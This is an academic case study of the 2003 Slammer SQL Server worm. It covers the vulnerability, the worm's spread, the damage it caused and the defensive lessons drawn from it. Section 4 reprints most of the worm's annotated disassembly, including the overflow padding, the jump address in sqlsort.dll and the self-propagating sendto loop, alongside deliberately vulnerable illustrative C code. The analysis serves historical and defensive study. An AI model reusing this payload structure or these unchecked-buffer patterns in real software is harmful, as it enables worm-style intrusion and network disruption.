
   

  

ABSTRACT 
Slammer: Before, During and After 

Marc-André Laverdière 
 

The internet was built to provide flexibility and easy connectivity. However, these 

qualities of the Internet raise major security concerns that they could be exploited to 

disrupt our daily lives. One such disruption was the spread of the Slammer/Sapphire 

worm, which happened on January 25th, 2003. During the spread of the worm, many lost 

their internet connection, were not able to use ATMs, or saw their flights delayed directly 

due to the worm’s activity. 

In this report, we will study the Slammer worm in this ‘natural’ environment: the 

Internet. We will study Slammer itself, the situation before the attack of the worm, the 

damage caused by its spread, as well as the lessons learned from this outbreak. We will 

approach this study mainly from a computer security point of view, while still presenting 

perspectives from the IT industry’s and the public’s viewpoint. 
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1. PREFACE 

“The most secure computer is one that is not only not connected to a network, but one 

that is not plugged in, is hidden in a closet and surrounded by attack dogs.”  (paraphrase) 

– Dr. David K. Probst, teaching the Information Systems Security class. 

This is an adapted version of a paper written for the ENGR 410 class at Concordia 

University. This paper does not assume a deep understanding of security, but a basic 

knowledge of computer architecture and C programming will assist the reader in 

understanding the security principles presented here. 

I would like to thank Steph Brown (SkyE Systems) for the positive feedback on clarity 

and English, Dr. Peter Grogono (Department of Computer Science, Concordia 

University) for reviewing the first draft of this document and approving its topic.  

The learning I made in the process of writing this paper made me realize how readily 

available are the tools and knowledge required to bring havoc to the Internet, and how 

increasingly our lives are bound to the networks’. This knowledge is available to all, and 

its initial goal, the betterment of humanity, seems lost. Maybe one day this ever-

expanding knowledge will hurt human life in a deeply significant manner.  

I found no good way to express this, but with sayings from another age: 

“For with much wisdom comes much sorrow; the more knowledge, the  

more grief.” – King Solomon, Ecclesiastes 1:18. 



  2 

 

2. INTRODUCTION 

On January 25th, 2003, around 5:30 UTC, a 376 byte-long UDP packet [1] was sent to an 

east-Asian target running an unpatched version of the Microsoft SQL Server software. In 

order to bypass firewalls, this original packet was most likely wrapped around a 

legitimate-looking ICMP packet [2, 3]. Since UDP uses a connectionless protocol, the 

return IP address of this packet was most likely falsified. 

Once the initial host was infected, it began spreading UDP packets semi-randomly, 

targeting systems at port 1434. This worm spread through the Internet at an 

unprecedented rate, shutting down critical systems, personal computers, and saturating 

Internet connections. It was the first time in the history of the Internet that a worm 

demonstrated rapid-propagation ability [4]. 

Some researchers, based on circumstantial evidence, point the finger at the Honker Union 

of China, a group of crackers, for the code creation, but warn that it could’ve been 

released by an external source [5]. 

During this case study, we will examine state of the IT industry before the attack, the 

worm itself, the spread of the worm, and the lessons learnt from Slammer. We will use C 

code for the sake of demonstrating certain programming-specific elements. 
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3. BEFORE THE ATTACK 

3.1. The Vulnerability 

On July 25th, 2002, David Litchfield of NGSSoftware published an advisory detailing 

two buffer overflows and a denial of service vulnerability within Microsoft SQL Server 

and Microsoft SQL Server Desktop Engine. At the same moment, Microsoft announces a 

patch to remedy the issue. The security flaw is quickly posted on Bugtraq, as bug 5311. 

The vulnerability that was exploited by Slammer is a stack-based buffer overflow, 

allowing a remote attacker to execute arbitrary code without authentication [2]. This 

buffer overflow was due to the use of an insecure string concatenation function with no 

bound checking, as illustrated in Figure 1. 

#include <string.h> 
#include <stdio.h> 
#include <windows.h> 
#include <winsock.h> 
 
/*======================================================================================= 
Illustration for the MSSQL stack based overflow vulnerability, exploited by MSSQL 
Slammer/Sapphire 
 
This attempt at illustrate the vulnerability extrapolates MSSQL Server code. 
For simplicity's sake, we assume monothreading handling the 1434/UDP service, with no 
error checking 
 
Please note that obtainResourcePath is a ficticious name for illustrative purposes only 
=======================================================================================*/ 
 
/* This would be in SQLSERV.EXE */ 
int main(int argc, char** argv){ 
 const int BUF_SIZE = 512, /*Arbritary input buffer size*/ 
   LISTENING_PORT = 1434, /*Listends to UDP 1434*/ 
   NO_FLAG = 0, /*No flags for sendto() and recvfrom()*/ 
   FOREVER = 1; /*loop persistently*/ 
 
 struct sockaddr_in localAddress; /*The server's address*/ 
 struct sockaddr_in peerAddress; /*The other party's address*/ 
 
 /*Holds the data received from the socket, as well as to send to the socket*/ 
 char dataBuffer[BUF_SIZE]; 
 
 int messageSize, /*size of received message*/ 
   Sock, /*Socket*/ 
         addressSize = sizeof(sockaddr_in); /*required for socket API*/ 
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 /* 
 Infinite loop: accepts messages over 1434udp and sends the appropriate reply 
 */ 
 while(FOREVER){ 
 
  /* Receive data from the network*/ 
  messageSize = recvfrom(sock, dataBuffer, BUF_SIZE,NO_FLAG, 
                         (struct sockaddr*) &peerAddress,&addressSize); 
 
  /*examine the request type and handle appropriately*/ 
  switch(dataBuffer[1]){ 
   /*... a few cases ...*/ 
   case 0x04:/*get resource path*/ 
      /*In reality, this call is made two levels deeper*/ 
      messageSize = obtainResourcePath(&dataBuffer[1],dataBuffer); 
   break; 
   /*...more cases ...*/ 
  } 
} 
 
/* Below would defined within SSNETLIB.DLL */ 
 
/*The constant prefix of the path*/ 
const char PSZRESOURCE_PATH_PREFIX[] = "SOFTWARE\\Microsoft\\Microsoft SQL Server\\"; 
/*the constant suffix of the path*/ 
const char PSZRESOURCE_PATH_SUFFIX[] = "\\MSSQLServer\\CurrentVersion"; 
 
int obtainResourcePath(char * pszresourceName, char * pszreturnBuf){ 
 char buf[128]; 
 
 /*The vulnerability is here, as the length of pszresourceName is unchecked*/ 
 sprintf(buf, "%s%s%s", 
  PSZRESOURCE_PATH_PREFIX, 
  pszresourceName, 
  PSZRESOURCE_PATH_SUFFIX 
 ); 
 
} 

Figure 1: Illustration of the SQL Server Code [6] 

The function sprintf() does not perform any bound checking on the input parameters. The 

lengths of the prefix and suffix are known, but not the length of the passed parameter. 

Since this parameter’s length is not checked, this means that the concatenation of those 

three strings can be bigger than its holding buffer. This results in a buffer overflow, 

where the memory is overwritten. In many cases, the buffer overflow can be crafted in a 

way that forces the program to run the code in the buffer. In the case of Slammer, the 

memory was overwritten by the worm’s code, and the computer was forced to start 

executing this code. A detailed explanation of buffer overflows can be found in [7]. 
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3.2. The State of the Security Community 

At the moment of the alert, the security community is still facing the everlasting question: 

“How to patch our systems?” System administrators developed a certain mistrust of 

Microsoft patches over the years [8], and the threat posed by the vulnerabilities did not 

unduly worry IT departments and home users beyond measure. The publishing of a 

program taking advantage of the vulnerability (commonly referred to as an exploit) in the 

MS SQL Server, later in 2002 [6], somehow didn’t raise any alarm bells in the security 

community. 

It seems that the security community also never fully understood the widespread installed 

base of SQL Server, missing the fact that it is often found within many desktop products 

and various non-Microsoft applications [9]. 

However, organizations following the best practices proposed by the Network Reliability 

and Interoperability Council had their firewalls tightly configured, following these 

standards, and felt ready to face any attack on their network [10]. Oddly enough the 

adherence to these best practices for configuring firewalls could have produced a false 

sense of security, leading many system administrators to consider the vulnerability as 

unimportant. 
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4. THE WORM 

In this section, we will study how Slammer was most likely built by its author, as well as 

the details of its implementation. 

4.1. Buffer Overflow Exploits and Their Development 

References on the exploitation of buffer overflows and the development of such an 

exploit are widely available on the Internet [7, 11]. These easily found references most 

likely represent the tip of the iceberg of knowledge available to the underground black 

hat community. Exploits using native code, such as Slammer, are typically developed 

directly in assembler, with some initial help using C during early development. The 

original infection mechanism is typically written in C, as can be seen in many exploit 

demonstrations [12]. 

Windows platform’s exploit creation tends to be more complex than for other operating 

systems due to portability issues. This is why such exploits will typically rely upon the 

Windows’ Portable Executable file format, and particularly its Interface Address Table, 

holding pointers to imported system functions [13, 11]. Tools allowing the examination 

of programs and libraries are easily available on the Internet [41]. 

Exploit writers tend to reuse or adapt similar exploits in order to facilitate development. 

This is particularly true of Slammer, since its author built slammer on an exploit created 

by David Litchfield, who initially discovered the vulnerability [14]. 
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4.2. Worm Body 

The figure below aims at illustrating the worm, based on its disassembly. Details about 

the i386 instructions are available in [15]. Multiple references of the worm’s body can be 

found, and some analysis is varying. As such, we will consider eEye’s and Symantec’s 

analysis [16] as the point of reference, due to their researchers’ expertise and reputation. 

The first section of the disassembly comes from [17], which details the beginning of the 

payload. The further sections are taken from eEye [18], as the assembly is easier to read 

and better documented. 

Table 1: Illustrated Worm Payload and Comments 

Worm Disassembly Comments and Illustrative C code 

Padding This section omits the original 0x04, as it would not 

be in memory.  
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add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %ebx,%esp 
leave   
mov    $0x42,%al 
jmp    0xc7 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %eax,(%ecx) 
add    %esi,0xffffffae(%eax) 
inc    %edx 
add    %esi,0xffffffae(%eax) 
inc    %edx 
nop     
nop     
nop     
nop     
nop     
nop     
nop   
nop 
 

Everything in this section is either a meaningless 

operation (generally called no-op) or the return 

address for the buffer overflow. The objective is to 

have a return address that is near the beginning of 

the worm’s body and will force the computer to 

execute the worm somewhere in the no-ops. This 

increases the probability of success of the buffer 

overflow tremendously, and gives more flexibility to 

the worm writer. 

The mov and jmp instructions are, in reality, the 

binary value of 0x42AE7001, which is required by 

the exploit to be successful 
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Regeneration 0x42b0c9dc is the return address to method with a 

jmp esp instruction in it, in sqlsort.dll. It requires 

0x42AE7001 to be on the stack to operate correctly. 

When it is executed, it will give full control to the 

worm [6]. 

push    42B0C9DCh        
mov     eax, 1010101h    
xor     ecx, ecx 
mov     cl, 18h 
push    eax 
loop    fixup_payload 
xor     eax, 5010101h    
push    eax 
mov     ebp, esp         

Push 0x42b0c9dc 
for (int I = 0x18; I > 0, I--) push 0x1010101; 
push 0x40000000; 
payload_ptr = TOP_OF_STACK; 

Initialization Create strings and push them to stack. These strings 

are used for the GetProcAddress calls later. The 

strings must be re-created, since strings always end 

with a zero character. If a string were given directly 

in the worm’s body, then the buffer overflow would 

most likely fail. 

push    ecx    
push    6C6C642Eh 
push    32336C65h 
push    6E72656Bh        
push    ecx 
push    746E756Fh        
push    436B6369h 
push    54746547h 
mov     cx, 6C6Ch 
push    ecx 
push    642E3233h        
push    5F327377h 
mov     cx, 7465h 
push    ecx 
push    6B636F73h        
mov     cx, 6F74h 
push    ecx 
push    646E6573h        
mov     esi, 42AE1018h   

push “kernel32.dll”; 
push “GetTickCount”; 
push “ws2_32.dll”; 
push “socket”; 
push “sendto”; 
 
 
esi = sqlsort.dll->IAT->LoadLibrary; 
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Getting Function Pointers and 

other initializations 

 

Loading dlls  

lea     eax, [ebp-2Ch]   
push    eax 
call    dword ptr [esi]  
push    eax    
     
lea     eax, [ebp-20h]   
push    eax 
lea     eax, [ebp-10h]   
push    eax 
call    dword ptr [esi]  
push    eax    

push LoadLibrary(“ws2_32.dll”); 
push LoadLibrary(“kernel32.dll”); 

Obtaining GetProcAddress This allows to obtain the address of core library 

functions 

     
mov     esi, 42AE1010h   
mov     ebx, [esi]       
mov     eax, [ebx]        
cmp     eax, 51EC8B55h   
jz      short FOUND_IT   
mov     esi, 42AE101Ch   
    FOUND_IT:  
 

if ( 
   (getProcAddress_functionptr = IAT -> 
GetProcAddress)  
    !=51EC8B55h   
   ) 
getProcAddress_functionptr = 0x42AE101C; 

Obtaining function pointers and 

socket initialization 

Creates the struct sockaddr_in  and the pointer to 

GetProcAddress to get the seed, initialize a socket, 

and obtain the address of sendto(). The strings used 

for these calls are the same as those created 

previously. 
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call    dword ptr [esi]  
call    eax    
xor     ecx, ecx 
push    ecx 
push    ecx 
push    eax    
xor     ecx, 9B040103h   
xor     ecx, 1010101h 
push    ecx    
lea     eax, [ebp-34h]   
push    eax 
mov     eax, [ebp-40h]   
push    eax 
call    dword ptr [esi]  
push    11h 
push    2 
push    2 
call    eax    
push    eax    
lea     eax, [ebp-3Ch]   
push    eax 
mov     eax, [ebp-40h]   
push    eax 
call    dword ptr [esi]  
mov     esi, eax         
 

function_ptr = GetProcAddress(kernel32_ptr, 
“GetTickCount”); 
sockaddr_in addr; 
 
// using function_ptr 
addr.sin_addr = GetTickCount(); addr.sin_family = 
AF_INET; 
addr.sin_port = 1434; 
 
sock_ptr = GetProcAddress(ws2_32_ptr, “socket”); 
 
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 
//using sock_ptr 
 
send2_ptr = GetProcAddress(ws2_32_ptr, “sendto”); 

Initializing the Pseudorandom 

seed 

Uses a badly coded pseudorandom function: a’ = 

214013 * a + b 

Here, b is dependent on OS’ version, instead of 

being hardcoded 

or      ebx, ebx         
xor     ebx, 0FFD9613Ch  
    PSEUDO_RAND_SEND:    
mov     eax, [ebp-4Ch]   
lea     ecx, [eax+eax*2] 
lea     edx, [eax+ecx*4] 
shl     edx, 4 
add     edx, eax 
shl     edx, 8 
sub     edx, eax 
lea     eax, [eax+edx*4] 
add     eax, ebx 
mov     [ebp-4Ch], eax   

b = function_ptr; b |= b; b ^=0x0FFD9613C; 
// b can be 0x88215000 or 0x88336870 
// flaw. This should’ve been b = 2531011; 
// [1] 
 
addr.sin_addr = 214013 * addr.sin_addr + b; //mod 
2^32 implicit 

Sending and Looping Uses sendto() to send a copy of itself to the 

randomly-addressed target, then loops again 
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push    10h 
lea     eax, [ebp-50h]   
push    eax 
xor     ecx, ecx         
push    ecx 
xor     cx, 178h         
push    ecx 
lea     eax, [ebp+3]     
push    eax 
mov     eax, [ebp-54h] 
push    eax 
call    esi    
jmp     short PSEUDO_RAND_SEND 

sendto(sock, payload_ptr, 376, 0, addr, 16); 
goto PSEUDO_RAND_SEND; 
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5. DURING THE ATTACK 

5.1. Propagation of the Worm 

The Slammer worm was the fastest-spreading worm of its time [1], in fact being the first 

occurrence of a rapidly-spread worm (known as Warhol worms), with the population of 

infected hosts doubling every 8.5 (±1) seconds. The spread of Slammer was so rapid, in 

fact, that it took about 10 to 15 minutes to spread to 90% of the infected hosts, as 

illustrated by Figure 2. Further research established that a typical network could be 

entirely compromised within an hour [4]. This resulted in a Denial of Service situation 

for many systems and networks [1]. The impact on a LAN is well illustrated by Figure 4, 

whereas the global impact is well represented by Figure 3, showing packet drop rates 

close to 20%. 

 

Figure 2: Global Infections After 30 minutes [1] 
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Figure 3: Packet Loss Rates, Showing Peaks on Jan 24th and Jan 27th [5] 

 

Figure 4: Bandwidth Usage for 100 Mbps Network with Single Infected Host [42] 
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5.2. Damage Caused 

The Slammer worm illustrated the large interconnection of networks by shutting down 

critical systems all over the world. Besides countless lost database connections, Internet 

access and systems were forced to shut down. More specifically: 

• We saw the Davis-Besse nuclear power plant’s safety monitoring system knocked 

offline [19]. 

• A major loss of Internet connectivity was recorded in South Korea [20, 21, 5]. 

• Bank of America’s ATMs (amongst others) were inoperable, and Continental 

Airlines’ had to switch to manual check-in procedures [21, 5]. 

• The Bellevue (State of Washington) 911 emergency response system was shut 

down due to the worm, which forced 911 staff to switch to manual systems, 

risking human lives in the case of a non-trivial emergency [3, 5]. 

• Microsoft itself found many of its services inoperable, due to the high network 

traffic caused by the worm [20, 8]. 

The financial damages were estimated around 1 billion USD [5]. 

This rapid estimate of the damages shows the increasing impact of the interconnection of 

networks on human life. Slammer indirectly served to demonstrate the risk of 

cyberterrorism [19]. 
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5.3. Security Response and Remedying to the Attack 

In this section, we will have an overview on the arduous tasks that system and network 

administrators had to complete in order to recover from Slammer. This description is by 

no means exhaustive, but represents the typical reaction scenario. We will then look at 

concrete tools that administrators had at their disposal to assist in this task. 

5.3.1. Removing Slammer Howto 

Removing Slammer from an infected system is trivial: a simple reboot is required [42]. In 

order to avoid re-infection, the infected system must be patched, which is a non-trivial 

task when the local network is saturated by Slammer-carrying packets. For the sake of 

demonstration, let us imagine a large corporate network being infected. 

Administrators must first adjust firewall settings, to prevent new infections from the 

outside, and make sure to shut down any infected hosts on the network. In some cases, 

mostly for large corporate networks, it is not feasible to actually shut down infected 

hosts, and administrators must then cut off entire network segments from the network or 

reprogram every switch in the network to drop all UDP packets aimed at port 1434. 

Once the crisis is over and that the network’s capacity is restored, IT staff must then 

patch the vulnerable systems, on an individual basis. In most cases, since users are not 

granted administrative privileges, and that no automated patching software is deployed, 

this means that system administrators must physically log in to every computer to apply 

the patch. 
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This scenario assumed a large corporate network with an expert staff. Of course, the 

situation is different for small businesses and home users, where the technical expertise 

and Internet connectivity required to deal with the situation is often missing. 

5.3.2. Slammer Removal Tools 

In order to quickly detect infected hosts, administrators had a network monitoring tools at 

their disposal, particularly Intrusion Detection Systems. Furthermore, Antivirus 

companies detailed how to use existing tools to detect infected hosts, as well as creating 

new ones [32], and Microsoft made public, on February 6th, Slammer detection tools [22]. 

The fact that some of those tools were posted so late after the initial spread of the 

infection shows how long the battle against Slammer was fought. 

Detecting hosts was only one battle fought during war. Preventing infections was another. 

The security community quickly encouraged administrators to block all inbound and 

outbound traffic for UDP port 1434 [23]. For example, Cisco quickly provided a detailed 

advisory indicating how system administrators could choke the spread at the network 

level by reconfiguring Cisco routers [24]. 
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6. AFTERMATH OF THE ATTACK 

The Slammer attack was another wakeup call for the security community. However, it 

also served to teach black hats to do better, and prompted serious legal issues. Developers 

began to realize that software quality was primordial, and system administrators learnt 

how important it was to protect systems and networks from their own weaknesses. 

6.1. Lessons for Worm Writers 

Worm writers and the black hat community in general, learnt from slammer many basic 

software engineering concepts, such as code reuse, quality assurance, and design for 

efficiency. 

The black hat community, as we saw earlier, is aware of the benefits of code reuse. 

Slammer’s development was accelerated thanks to some code taken from another exploit 

on the same vulnerability. Slammer’s success will thus most likely encourage further 

worm writers to reuse the code of successful exploits and worms to further accelerate 

development of malicious code.  

Slammer was programmed with a flaw in its pseudorandom generation function, which 

prevented it from spreading more effectively [1]. The flaw in one argument of this 

function demonstrates that the writer most likely did not test the worm on more than one 

system. Worm writers thus learnt the importance of Quality Assurance in an unexpected 

way. 
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Slammer was also not designed for efficiency. Its random addressing scheme slowed 

down is capability to compromise a LAN effectively, limiting most of its spread to 

globally addressable systems. This lesson was well learnt, as the Blaster worm was 

designed to prefer LAN IP addresses over a global one, effectively subverting large 

corporate networks [4]. 

The worm writers are slowly learning the lessons taught by software engineering for 

commercial software. As such, one may expect the future generation of worms to 

propagate via multiple infection vectors, at high speeds, with destructive payloads [25, 

26]. With the increasing number of papers on the subject, such as [25, 26,27], and the 

emergence of new automated tools [28], it is becoming obvious that malicious 

programmers are now tooled for writing better worms. 

6.2. Lessons for the Security Community 

6.2.1. To Developers 

The most important lesson learnt from Slammer, is that lessons from the past were not 

learnt. Microsoft’s failure to patch its own systems demonstrated that the develop-and-

patch model to software security was not realistic. Developers had to accept that building 

secure software, from the ground up, was imperative. 

However, how to do so remains an issue in itself. 

Compiler designers argued how legacy code could be protected from buffer overflows by 

using improved compiler tools. While some GCC developers were pondering adding 
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traps for buffer overflows [29], Immunix was already demonstrating the use of a canary 

word as a guard against overflows [30]. 

However, this solution only comes to patch a problem that should not exist. The buffer 

overflow issue is typical of low-level languages, such as C/C++, and tends to co-exist 

with the careless memory management, particularly with regard to the use of the standard 

C library. As such, strategies such as moving away from low-level languages to newer 

generation languages (such as Java or .NET) can significantly help developers to write 

more secure code [31]. On the other hand, the developers are shifting the burden of 

responsibility to the authors of the virtual machines and interpreters required to run such 

languages. This means that vulnerabilities in the .NET framework or the Java virtual 

machine would end up indirectly exposing other programs relying on them. 

Another approach, to address the widely-used standard C library, is to replace its 

implementation by a version that implicitly performs bound checking, or to provide a 

wrapper around its vulnerable functions, as implemented in LibSafe [33]. Developers 

could thus write programs assuming that no buffer overflow could result from the use of 

these functions. This could sadly create more vulnerabilities, as there is no guarantee that 

such safeguards would be installed on all systems. 

In the past, buffer overflows could only be detected through software inspections, which 

is a lengthy process. However, developers are now able to use tools to perform static 

analysis on their code, allowing them to detect potential buffer overflows automatically 

[34]. With the improvements and acceptance of such tools in the industry, developers will 

be able to perform security audits on systems in a cost-effective manner, enabling them to 
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detect and correct vulnerabilities early in the development process, allowing to quickly 

correct the situation before the program is released. 

Beyond better coding and better libraries, developers must think security during the 

systems’ architecture elaboration. For example, the industry is learning that the 

centralization of services in server farms created a wider vulnerability, in the form of a 

single point of failure [35], which will force designers and software architects to 

implement redundancy and distribute systems. 

The industry has finally accepted that it needed to change is perspective on software 

development, change its tools to do so, and change its processes to ensure that the 

necessary precautions were done correctly. The question is whether or not the pressure to 

release software quickly will prevent developers to put these lessons in practice. 

6.2.2. To System Administrators 

The old issue of patch deployment and management resurfaced with Slammer. The fact 

that the SQL Server engine was built into MSDE complicated the patching efforts of 

administrators. It is likely that administrators could patch exposed servers, but did not 

update workstations, due to negligence or assuming that the workstations were protected 

thanks to the network configuration. Commentators however point out the general lack of 

resources of IT departments as a reason for the widespread misconfiguration of networks 

[3]. Many affected companies understood the importance of providing sufficient 

resources to correctly secure corporate IT assets [35]. 
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Some options are emerging allowing system administrators to run safer systems despite 

imperfect software. Linux system administrators can now rely on Libsafe, which wraps 

the calls to vulnerable functions, in order to verify the input parameters [33]. In the same 

vein, the industry is providing another workaround preventing code from running on the 

stack, thus preventing the exploit of a buffer overflow from executing at all. On Linux, 

one may patch the kernel to use OpenWall [36], and a similar feature will be provided in 

Windows XP’s Service Pack 2 [37]. All these tools can increase the security of systems, 

and particularly offer protection against unknown vulnerabilities. 

Network administrators learned that the previous model of a safe internal network is 

deprecated. It becomes imperative to consider mobile and VPN systems, connecting in 

the network from outside, as untrusted, as well as to encapsulate network segments with 

network-level embedding of filtering capabilities [4]. Furthermore, it became obvious 

that firewall configuration should consider not only inbound packets, but outbound ones 

as well [23], so that one corrupted network remains contained, instead of allowing the 

infection to spread. 

The issue of network interconnections surfaced thanks to Slammer, as highlighted by the 

Davis-Besse system shutdown and the loss of connectivity to remote-controlled SCADA 

control equipment by another power company [19]. The energy infrastructure, as well as 

other critical infrastructures, will have to be rethought, as its current connection to other 

networks, such as the Internet, makes it far too vulnerable for comfort [35]. 
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6.2.3. To Home Users 

Home users, because of MSDE’s widespread nature in other software, were directly 

affected by Slammer and inadvertently assisted in proliferating the worm. Infected users 

lost internet connectivity due to the worm, and many ended up with a costly repair bill for 

sending their computer to a technician. 

Home users, particularly in Korea, suffered from the relatively widespread denial-of-

service situation that Slammer caused.  

On a larger scale, however, Slammer was not effective in educating the wider population 

of home users, as was demonstrated by the Blaster+Nachi worm proliferation in August 

2003. A recent survey in the UK demonstrated users’ general laisser-faire attitudes and 

lack of education towards security, despite the increasing media attention on computer 

security [38]. This means that the average user is slowly becoming the weak link in the 

chain for the securing of the Internet, since they effectively implement no security at all. 

6.3. Accountability 

In the world of cybersecurity, there is little to no accountability. In the case of the 

Slammer outbreak, it became increasingly clear that it was a cornerstone issue. Besides a 

lawsuit in South Korea [39], there are practically no lawsuits for the damages incurred by 

the proliferation of this worm.  

Many in the industry feel that incidents like Slammer are simply the cost of doing 

business. Commentators increasingly claim that the only way the public can obtain a 
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secure environment is by establishing accountability for security incidents [35, 40], 

claiming that without legal accountability and customer pressure for better systems, there 

is no short-term financial advantage for most companies to produce secure software. 
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7. CONCLUSION 

Slammer demonstrated that lessons learned from the past are not necessarily put into 

practice, and that a computer worm can spread quicker than it can be contained. 

Software developers can use better technologies such as Java or C# to write the next 

generation of applications, but the current one remains inherently flawed. The economic 

cost of fixing these applications would be tremendous, and decision-makers have no legal 

or economic incentive to ensure high quality software. 

System administrators are overworked and under budgeted, and thus try to make the best 

they can in a bad context. 

Home users continue to not educate themselves or make the effort to secure their own 

computers, creating a large set of very vulnerable computers ready to be exploited. 

With this grim picture and the repeated worm outbreaks that occurred in the year after 

Slammer hit, one may wonder if our critical infrastructure will ever be safe. Will 

emergency services remain operational and will energy facilities operate normally under 

the rapid spread of a worm with a destructive payload? 

Worse yet, with the black hats creating better automated tools, one may wonder if the 

Internet could not be taken down, one day, by an overly curious kid.  

And when that happens, whose fault will it be? 
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